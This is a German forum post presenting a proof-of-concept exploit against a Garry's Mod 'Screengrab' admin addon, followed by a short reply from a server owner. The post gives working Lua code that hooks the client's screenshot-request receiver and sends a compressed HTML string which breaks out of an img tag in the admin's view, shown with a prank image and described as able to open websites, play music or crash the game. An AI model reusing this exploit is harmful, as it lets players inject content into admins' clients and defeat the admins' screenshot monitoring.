having fun with screen grabs(POC)

  • Also ich war letzt auf dem Instinkt® Garrys Mod® TTT Server und habe gesehen, dass der Server ein Screengrab hat (also Admins können "Auf" den Bildschrim jedes Spieler schauen).
    Hier ist mir folgende Zeile aufgefallen.





    Hier Ist auffallend <img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]](1)





    Also könnte man clientside einfach den Receiver hooken und einen String senden der dann in ( siehe 1) in den html frame "eingebaut wird" sprich wir könnten und Einen kleinen Spaß erlauben und z.b musik abspielen oder Webseiten öffnen oder sogar gmod crashen
    Was müssen wir tun:

    • Hooken des Receiver
    • Craft des html bodys der injizieren werden soll
    • Senden an den Spieler


    So Also rann an die Sache:
    Das hooken ist das Einfachste, wir können es über die Net.Receive funktion machen oder über die Tabelle von net.Receivers.
    Ich bevorzuge die Tabelle da wir uns so Funktions aufrufe ersparen.


    Code
    net.Receivers["grab_RequestScreenshot"] = function( ) 
    	local sendto = net.ReadEntity()//wir müssen wissen wo unsere Daten hinmüssen btw das Script macht das so ich finde das eine schlechte idee den Client Entscheiden zu lassen man könnte es besser lösen aber egal;D
    //todo
    end


    so wenn jetzt der Admin unseren Screen anfordert würde er nicht sehen da Screengrab nicht mehr die Funktion aufruft die den "Screenshot" macht, sondern unsere, die im Moment nichts macht.
    Also Weiter gehts als nächstes müssen wir den String machen dieser beinhaltet den Code den wir später auf der html Seite haben wollen die der Admin sieht.


    local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
    zuerst die Zeichen [[ ]] erstellen einen LUA string ( eine tolle Funktion) indem man alle anderen (auch reguläre string escape sequenzen wie " und ' benutzen kann ) diese nehmen uns die arbeit ab alles zu escapen (werde irgend wann mal ein tutoral zu lua strings machen).
    und lassen dem admin ein Schönen text und bild anzeigen.



    so jetzt das ganze noch an den Server Senden, hierbei ist darauf zu achten, dass die Orginale funktion den String mit util.Compress( string compressedString ) ( LZMA ) Komprimiert heißt wir müssen dass auch machen da es auf dem Admin wieder Dekomprimiert wird


    also


    Code
    local data = util.Compress( str )
    net.Start( "grab_ScreenshotToServer" )
    	net.WriteEntity( sendto )
    	net.WriteUInt( #data, 32 )
    	net.WriteData( data, #data )
    net.SendToServer()

    so alles zusammen und wir bekommen:

    Code
    net.Receivers["grab_RequestScreenshot"] = function( ) 
    	local sendto = net.ReadEntity()	
    	local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
    	local data = util.Compress( str )
    	net.Start( "grab_ScreenshotToServer" )
    		net.WriteEntity( sendto )
    		net.WriteUInt( #data, 32 )
    		net.WriteData( data, #data )
    	net.SendToServer()
    end


    Tada:
    wenn der Admin uns jetzt Screen Graben Will ruft er unsere Funktion auf die den string an ihn senden wird welcher durch die Programmierung ( siehe erster code ) dirket als html text interpretiert wird.



    Bei fragen einfach Kommentar ( btw ich hab das hier gefunden und geschrieben in insg. ca 20 min also wenn manchen Erklärungen nicht vollständig oder nachvollziehbar sind FRAGEN )


    <3 K03 <3

  • Ah schön, dass Du das geschrieben hast. Hatte nämlich den Fehler drin, dass Screngerab VOR Ulx geladen wurde und es deshalb garnicht funktioniert hat, da es nach ULX fragt.
    Habe Screengrab schon ganz vergessen gehabt.


    Läuft nun.

    Viele Grüße,
    Instinkt


    Owner werden ist nicht schwer. Owner sein dagegen sehr.
    Denken ist harte Arbeit, weshalb sie auch nur von Wenigen ausgeübt wird.


    giphy.gif

    76561198030713180.png